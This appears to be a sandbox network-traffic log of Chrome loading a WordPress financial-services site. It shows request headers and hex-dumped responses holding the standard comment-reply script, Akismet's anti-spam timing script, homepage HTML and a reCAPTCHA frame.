2024-04-11 20:34:58 UTC	597	OUT	GET /wp-includes/js/comment-reply.min.js?ver=4a124e090d7ee965f75f11dee143117d HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:59 UTC	724	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2981 content-type: application/javascript x-fw-server: Flywheel/5.1.0 cache-control: public, max-age=31536000 referrer-policy: no-referrer-when-downgrade x-fw-version: 5.0.0 x-content-type-options: nosniff x-xss-protection: 1 etag: "65b959af-ba5" last-modified: Tue, 30 Jan 2024 20:18:55 GMT x-fw-hash: thumialfjs Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:58 GMT X-Served-By: cache-ewr18176-EWR, cache-ewr18161-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867699.927052,VS0,VE67 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 77 69 6e 64 6f 77 2e 61 64 64 43 6f 6d 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 76 29 7b 76 61 72 20 49 2c 43 2c 68 2c 45 3d 76 2e 64 6f 63 75 6d 65 6e 74 2c 62 3d 7b 63 6f 6d 6d 65 6e 74 52 65 70 6c 79 43 6c 61 73 73 3a 22 63 6f 6d 6d 65 6e 74 2d 72 65 70 6c 79 2d 6c 69 6e 6b 22 2c 63 6f 6d 6d 65 6e 74 52 65 70 6c 79 54 69 74 6c 65 49 64 3a 22 72 65 70 6c 79 2d 74 69 74 6c 65 22 2c 63 61 6e 63 65 6c 52 65 70 6c 79 49 64 3a 22 63 61 6e 63 65 6c 2d 63 6f 6d 6d 65 6e 74 2d 72 65 70 6c 79 2d 6c 69 6e 6b 22 2c 63 6f 6d 6d 65 6e 74 46 6f 72 6d 49 64 3a 22 63 6f 6d 6d 65 6e 74 66 6f 72 6d 22 2c 74 65 6d 70 6f 72 61 72 79 46 6f 72 6d 49 64 3a 22 77 70 2d 74 Data Ascii: /! This file is auto-generated /window.addComment=function(v){var I,C,h,E=v.document,b={commentReplyClass:"comment-reply-link",commentReplyTitleId:"reply-title",cancelReplyId:"cancel-comment-reply-link",commentFormId:"commentform",temporaryFormId:"wp-t
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 22 41 22 3d 3d 3d 6e 2e 6e 6f 64 65 4e 61 6d 65 26 26 6e 2e 69 64 21 3d 3d 62 2e 63 61 6e 63 65 6c 52 65 70 6c 79 49 64 26 26 28 6e 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 22 29 2c 64 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 74 29 2c 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 76 61 72 20 74 3d 67 28 62 2e 63 6f 6d 6d 65 6e 74 52 65 70 6c 79 54 69 74 6c 65 49 64 29 2c 74 3d 74 26 26 74 2e 66 69 72 73 74 43 68 69 6c 64 2e 74 65 78 74 43 6f 6e 74 65 6e 74 2c 6e 3d 74 68 69 73 2c 64 3d 6d 28 6e 2c 22 62 65 6c 6f 77 65 6c 65 6d 65 6e 74 22 29 2c 6f 3d 6d 28 6e 2c 22 63 6f 6d 6d 65 6e 74 69 64 22 29 2c 69 3d 6d 28 6e 2c 22 72 65 73 70 6f 6e 64 65 6c 65 6d 65 6e 74 22 29 2c 72 3d 6d 28 6e 2c 22 70 Data Ascii: "A"===n.nodeName&&n.id!==b.cancelReplyId&&(n.style.display=""),d.textContent=t),e.preventDefault())}function a(e){var t=g(b.commentReplyTitleId),t=t&&t.firstChild.textContent,n=this,d=m(n,"belowelement"),o=m(n,"commentid"),i=m(n,"respondelement"),r=m(n,"p
2024-04-11 20:34:59 UTC	225	IN	Data Raw: 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 69 29 3a 45 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 26 26 28 6c 3d 69 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 29 2c 28 69 2e 6f 66 66 73 65 74 57 69 64 74 68 3c 3d 30 26 26 69 2e 6f 66 66 73 65 74 48 65 69 67 68 74 3c 3d 30 7c 7c 22 68 69 64 64 65 6e 22 3d 3d 3d 6c 2e 76 69 73 69 62 69 6c 69 74 79 29 26 26 28 72 3d 21 30 29 2c 22 68 69 64 64 65 6e 22 21 3d 3d 69 2e 74 79 70 65 26 26 21 69 2e 64 69 73 61 62 6c 65 64 26 26 21 72 29 7b 69 2e 66 6f 63 75 73 28 29 3b 62 72 65 61 6b 7d 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 21 31 7d 7d 7d 7d 28 77 69 6e 64 6f 77 29 3b Data Ascii: etComputedStyle(i):E.documentElement.currentStyle&&(l=i.currentStyle),(i.offsetWidth<=0&&i.offsetHeight<=0\|\|"hidden"===l.visibility)&&(r=!0),"hidden"!==i.type&&!i.disabled&&!r){i.focus();break}}catch(e){}return!1}}}}(window);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49803	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:58 UTC	591	OUT	GET /wp-content/plugins/akismet/_inc/akismet-frontend.js?ver=1711022616 HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:59 UTC	726	IN	HTTP/1.1 200 OK Connection: close Content-Length: 11388 content-type: application/javascript x-fw-server: Flywheel/5.1.0 cache-control: public, max-age=31536000 referrer-policy: no-referrer-when-downgrade x-fw-version: 5.0.0 x-content-type-options: nosniff x-xss-protection: 1 etag: "65fc2218-2c7c" last-modified: Thu, 21 Mar 2024 12:03:36 GMT x-fw-hash: thumialfjs Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:58 GMT X-Served-By: cache-lga21967-LGA, cache-lga21946-LGA X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867699.939983,VS0,VE46 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 4f 62 73 65 72 76 65 20 68 6f 77 20 74 68 65 20 75 73 65 72 20 65 6e 74 65 72 73 20 63 6f 6e 74 65 6e 74 20 69 6e 74 6f 20 74 68 65 20 63 6f 6d 6d 65 6e 74 20 66 6f 72 6d 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 64 65 74 65 72 6d 69 6e 65 20 77 68 65 74 68 65 72 20 69 74 27 73 20 61 20 62 6f 74 20 6f 72 20 6e 6f 74 2e 0a 20 2a 0a 20 2a 20 4e 6f 74 65 20 74 68 61 74 20 6e 6f 20 61 63 74 75 61 6c 20 69 6e 70 75 74 20 69 73 20 62 65 69 6e 67 20 73 61 76 65 64 20 68 65 72 65 2c 20 6f 6e 6c 79 20 63 6f 75 6e 74 73 20 61 6e 64 20 74 69 6d 69 6e 67 73 20 62 65 74 77 65 65 6e 20 65 76 65 6e 74 73 2e 0a 20 2a 2f 0a 0a 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 2f 2f 20 50 61 73 73 69 76 65 20 65 76 65 6e 74 20 6c 69 73 74 65 6e 65 72 73 20 Data Ascii: /** * Observe how the user enters content into the comment form in order to determine whether it's a bot or not. * * Note that no actual input is being saved here, only counts and timings between events. */( function() {// Passive event listeners
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 20 27 41 72 72 6f 77 55 70 27 2c 20 27 41 72 72 6f 77 44 6f 77 6e 27 2c 20 27 41 72 72 6f 77 4c 65 66 74 27 2c 20 27 41 72 72 6f 77 52 69 67 68 74 27 2c 20 27 48 6f 6d 65 27 2c 20 27 45 6e 64 27 2c 20 27 50 61 67 65 55 70 27 2c 20 27 50 61 67 65 44 6f 77 6e 27 20 5d 3b 0a 09 09 76 61 72 20 6d 6f 64 69 66 69 65 72 4b 65 79 43 6f 64 65 73 20 3d 20 5b 20 27 53 68 69 66 74 27 2c 20 27 43 61 70 73 4c 6f 63 6b 27 20 5d 3b 0a 0a 09 09 76 61 72 20 66 6f 72 6d 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 20 27 66 6f 72 6d 5b 6d 65 74 68 6f 64 3d 70 6f 73 74 5d 27 20 29 3b 0a 0a 09 09 66 6f 72 20 28 20 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 66 6f 72 6d 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 Data Ascii: 'ArrowUp', 'ArrowDown', 'ArrowLeft', 'ArrowRight', 'Home', 'End', 'PageUp', 'PageDown' ];var modifierKeyCodes = [ 'Shift', 'CapsLock' ];var forms = document.querySelectorAll( 'form[method=post]' );for ( var i = 0; i < forms.length; i++ ) {
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 48 6f 77 20 71 75 69 63 6b 6c 79 20 64 69 64 20 74 68 65 79 20 70 72 65 73 73 20 61 20 73 61 6d 70 6c 65 20 6f 66 20 6b 65 79 73 2c 20 61 6e 64 20 68 6f 77 20 6c 6f 6e 67 20 62 65 74 77 65 65 6e 20 74 68 65 6d 3f 0a 09 09 09 09 09 27 62 6b 70 27 3a 20 61 6b 5f 62 6b 70 2c 0a 0a 09 09 09 09 09 2f 2f 20 48 6f 77 20 71 75 69 63 6b 6c 79 20 64 69 64 20 74 68 65 79 20 63 6c 69 63 6b 20 74 68 65 20 6d 6f 75 73 65 2c 20 61 6e 64 20 68 6f 77 20 6c 6f 6e 67 20 62 65 74 77 65 65 6e 20 63 6c 69 63 6b 73 3f 0a 09 09 09 09 09 27 62 6d 63 27 3a 20 61 6b 5f 62 6d 63 2c 0a 0a 09 09 09 09 09 2f 2f 20 48 6f 77 20 6d 61 6e 79 20 6d 6f 75 73 65 63 6c 69 63 6b 73 20 64 69 64 20 74 68 65 79 20 6d 61 6b 65 3f 0a 09 09 09 09 09 27 62 6d 63 63 27 3a 20 6d 6f 75 73 65 63 6c 69 63 Data Ascii: How quickly did they press a sample of keys, and how long between them?'bkp': ak_bkp,// How quickly did they click the mouse, and how long between clicks?'bmc': ak_bmc,// How many mouseclicks did they make?'bmcc': mouseclic
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 66 6f 72 20 28 20 76 61 72 20 63 6f 6e 74 61 69 6e 65 72 49 6e 64 65 78 20 3d 20 30 3b 20 63 6f 6e 74 61 69 6e 65 72 49 6e 64 65 78 20 3c 20 70 6f 73 73 69 62 6c 65 5f 61 6b 69 73 6d 65 74 5f 63 6f 6e 74 61 69 6e 65 72 73 2e 6c 65 6e 67 74 68 3b 20 63 6f 6e 74 61 69 6e 65 72 49 6e 64 65 78 2b 2b 20 29 20 7b 0a 09 09 09 09 09 09 76 61 72 20 63 6f 6e 74 61 69 6e 65 72 20 3d 20 70 6f 73 73 69 62 6c 65 5f 61 6b 69 73 6d 65 74 5f 63 6f 6e 74 61 69 6e 65 72 73 2e 69 74 65 6d 28 20 63 6f 6e 74 61 69 6e 65 72 49 6e 64 65 78 20 29 3b 0a 0a 09 09 09 09 09 09 69 66 20 28 20 63 6f 6e 74 61 69 6e 65 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 20 27 64 61 74 61 2d 70 72 65 66 69 78 27 20 29 20 29 20 7b 0a 09 09 09 09 09 09 09 61 6b 69 73 6d 65 74 5f 66 69 65 6c 64 5f Data Ascii: for ( var containerIndex = 0; containerIndex < possible_akismet_containers.length; containerIndex++ ) {var container = possible_akismet_containers.item( containerIndex );if ( container.getAttribute( 'data-prefix' ) ) {akismet_field_
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 6c 61 73 74 20 6b 65 79 75 70 20 61 6e 64 20 74 68 69 73 20 6b 65 79 64 6f 77 6e 2e 20 42 75 74 20 69 66 20 74 68 65 79 20 70 72 65 73 73 20 61 0a 09 09 09 09 2f 2f 20 6b 65 79 20 77 68 69 6c 65 20 61 6c 72 65 61 64 79 20 70 72 65 73 73 69 6e 67 20 61 20 6b 65 79 2c 20 77 65 20 77 61 6e 74 20 74 6f 20 72 65 63 6f 72 64 20 74 68 65 20 74 69 6d 65 20 62 65 74 77 65 65 6e 20 74 68 65 20 74 77 6f 20 6b 65 79 64 6f 77 6e 73 2e 0a 0a 09 09 09 09 76 61 72 20 6c 61 73 74 4b 65 79 45 76 65 6e 74 20 3d 20 4d 61 74 68 2e 6d 61 78 28 20 6c 61 73 74 4b 65 79 64 6f 77 6e 2c 20 6c 61 73 74 4b 65 79 75 70 20 29 3b 0a 0a 09 09 09 09 69 66 20 28 20 6c 61 73 74 4b 65 79 45 76 65 6e 74 20 29 20 7b 0a 09 09 09 09 09 6b 65 79 64 6f 77 6e 73 5b 20 65 2e 6b 65 79 20 5d 2e 70 75 Data Ascii: last keyup and this keydown. But if they press a// key while already pressing a key, we want to record the time between the two keydowns.var lastKeyEvent = Math.max( lastKeydown, lastKeyup );if ( lastKeyEvent ) {keydowns[ e.key ].pu
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 09 09 09 6b 65 79 70 72 65 73 73 2e 70 75 73 68 28 20 6b 65 79 64 6f 77 6e 73 5b 20 65 2e 6b 65 79 20 5d 5b 31 5d 20 29 3b 0a 09 09 09 09 09 09 7d 0a 0a 09 09 09 09 09 09 6b 65 79 70 72 65 73 73 65 73 2e 70 75 73 68 28 20 6b 65 79 70 72 65 73 73 20 29 3b 0a 09 09 09 09 09 7d 0a 09 09 09 09 7d 0a 0a 09 09 09 09 64 65 6c 65 74 65 20 6b 65 79 64 6f 77 6e 73 5b 20 65 2e 6b 65 79 20 5d 3b 0a 0a 09 09 09 09 6c 61 73 74 4b 65 79 75 70 20 3d 20 6b 65 79 75 70 54 69 6d 65 3b 0a 09 09 09 7d 2c 20 73 75 70 70 6f 72 74 73 50 61 73 73 69 76 65 20 3f 20 7b 20 70 61 73 73 69 76 65 3a 20 74 72 75 65 20 7d 20 3a 20 66 61 6c 73 65 20 20 29 3b 0a 0a 09 09 09 66 6f 72 6d 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 20 22 66 6f 63 75 73 69 6e 22 2c 20 66 75 6e 63 74 Data Ascii: keypress.push( keydowns[ e.key ][1] );}keypresses.push( keypress );}}delete keydowns[ e.key ];lastKeyup = keyupTime;}, supportsPassive ? { passive: true } : false );form.addEventListener( "focusin", funct
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 65 20 20 29 3b 0a 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 20 27 6d 6f 75 73 65 6d 6f 76 65 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 20 65 20 29 20 7b 0a 09 09 09 69 66 20 28 20 6d 6f 75 73 65 6d 6f 76 65 54 69 6d 65 72 20 29 20 7b 0a 09 09 09 09 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 20 6d 6f 75 73 65 6d 6f 76 65 54 69 6d 65 72 20 29 3b 0a 09 09 09 09 6d 6f 75 73 65 6d 6f 76 65 54 69 6d 65 72 20 3d 20 6e 75 6c 6c 3b 0a 09 09 09 7d 0a 09 09 09 65 6c 73 65 20 7b 0a 09 09 09 09 6d 6f 75 73 65 6d 6f 76 65 53 74 61 72 74 20 3d 20 28 20 6e 65 77 20 44 61 74 65 28 29 20 29 2e 67 65 74 54 69 6d 65 28 29 3b 0a 09 09 09 09 6c 61 73 74 4d 6f 75 73 65 6d 6f 76 65 58 20 3d 20 65 2e 6f 66 66 73 65 74 58 3b 0a 09 09 09 09 6c Data Ascii: e );document.addEventListener( 'mousemove', function ( e ) {if ( mousemoveTimer ) {clearTimeout( mousemoveTimer );mousemoveTimer = null;}else {mousemoveStart = ( new Date() ).getTime();lastMousemoveX = e.offsetX;l
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 74 54 69 6d 65 28 29 3b 0a 09 09 7d 2c 20 73 75 70 70 6f 72 74 73 50 61 73 73 69 76 65 20 3f 20 7b 20 70 61 73 73 69 76 65 3a 20 74 72 75 65 20 7d 20 3a 20 66 61 6c 73 65 20 29 3b 0a 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 20 27 74 6f 75 63 68 65 6e 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 20 65 20 29 20 7b 0a 09 09 09 69 66 20 28 20 21 20 6c 61 73 74 54 6f 75 63 68 53 74 61 72 74 20 29 20 7b 0a 09 09 09 09 2f 2f 20 49 66 20 74 68 65 20 74 6f 75 63 68 73 74 61 72 74 20 68 61 70 70 65 6e 65 64 20 62 65 66 6f 72 65 20 74 68 69 73 20 73 63 72 69 70 74 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 74 6f 75 63 68 65 6e 64 20 68 61 70 70 65 6e 65 64 20 61 66 74 65 72 2e 2e 2e 0a 09 09 09 09 72 65 Data Ascii: tTime();}, supportsPassive ? { passive: true } : false );document.addEventListener( 'touchend', function ( e ) {if ( ! lastTouchStart ) {// If the touchstart happened before this script was loaded, but the touchend happened after...re
2024-04-11 20:34:59 UTC	364	IN	Data Raw: 20 6c 69 6d 69 74 20 26 26 20 69 20 3c 20 61 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 09 72 76 20 2b 3d 20 61 5b 20 72 61 6e 64 6f 6d 5f 73 74 61 72 74 69 6e 67 5f 70 6f 69 6e 74 20 2b 20 69 20 5d 5b 30 5d 3b 0a 0a 09 09 09 09 69 66 20 28 20 61 5b 20 72 61 6e 64 6f 6d 5f 73 74 61 72 74 69 6e 67 5f 70 6f 69 6e 74 20 2b 20 69 20 5d 2e 6c 65 6e 67 74 68 20 3e 3d 20 32 20 29 20 7b 0a 09 09 09 09 09 72 76 20 2b 3d 20 22 2c 22 20 2b 20 61 5b 20 72 61 6e 64 6f 6d 5f 73 74 61 72 74 69 6e 67 5f 70 6f 69 6e 74 20 2b 20 69 20 5d 5b 31 5d 3b 0a 09 09 09 09 7d 0a 0a 09 09 09 09 72 76 20 2b 3d 20 22 3b 22 3b 0a 09 09 09 7d 0a 09 09 7d 0a 0a 09 09 72 65 74 75 72 6e 20 72 76 3b 0a 09 7d 0a 0a 09 69 66 20 28 20 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 Data Ascii: limit && i < a.length; i++ ) {rv += a[ random_starting_point + i ][0];if ( a[ random_starting_point + i ].length >= 2 ) {rv += "," + a[ random_starting_point + i ][1];}rv += ";";}}return rv;}if ( document.ready

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49802	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:58 UTC	585	OUT	GET / HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:58 UTC	849	IN	HTTP/1.1 200 OK Connection: close Content-Length: 68978 content-type: text/html; charset=UTF-8 x-fw-dynamic: TRUE x-fw-server: Flywheel/5.1.0 referrer-policy: no-referrer-when-downgrade x-fw-version: 5.0.0 x-content-type-options: nosniff link: <https://www.bfjfinancial.com/wp-json/>; rel="https://api.w.org/" link: <https://www.bfjfinancial.com/wp-json/wp/v2/pages/6>; rel="alternate"; type="application/json" link: <https://www.bfjfinancial.com/>; rel=shortlink x-xss-protection: 1 x-fw-hash: thumialfjs Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:58 GMT X-Served-By: cache-lga21963-LGA, cache-lga21954-LGA X-Cache: MISS, HIT X-Cache-Hits: 0, 1 X-Timer: S1712867699.935249,VS0,VE3 Vary: Accept-Encoding X-FW-Serve: TRUE X-FW-Static: NO X-FW-Type: VISIT
2024-04-11 20:34:58 UTC	16384	IN	Data Raw: 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 69 6e 64 65 Data Ascii: <!DOCTYPE html><html class="no-js" lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="pingback" href="https://www.bfjfinancial.com/xmlrpc.php"><meta name='robots' content='inde
2024-04-11 20:34:59 UTC	16384	IN	Data Raw: 6c 75 69 73 68 2d 67 72 61 79 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 77 68 69 74 65 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 70 69 6e 6b 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 Data Ascii: luish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49805	142.251.35.164	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:59 UTC	956	OUT	GET /recaptcha/api2/anchor?ar=1&k=6LdCSrIgAAAAAIbQ1liS2K3JDY3AP8FqbPgZMnBF&co=aHR0cHM6Ly93d3cuYmZqZmluYW5jaWFsLmNvbTo0NDM.&hl=en&v=rz4DvU-cY2JYCwHSTck0_qm-&size=normal&cb=r0v4am1gzsga HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:59 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 11 Apr 2024 20:34:59 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-lK-bl3yNHNuSWpaqUyOFwA' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-11 20:34:59 UTC	364	IN	Data Raw: 32 61 65 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b Data Ascii: 2aeb<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face {
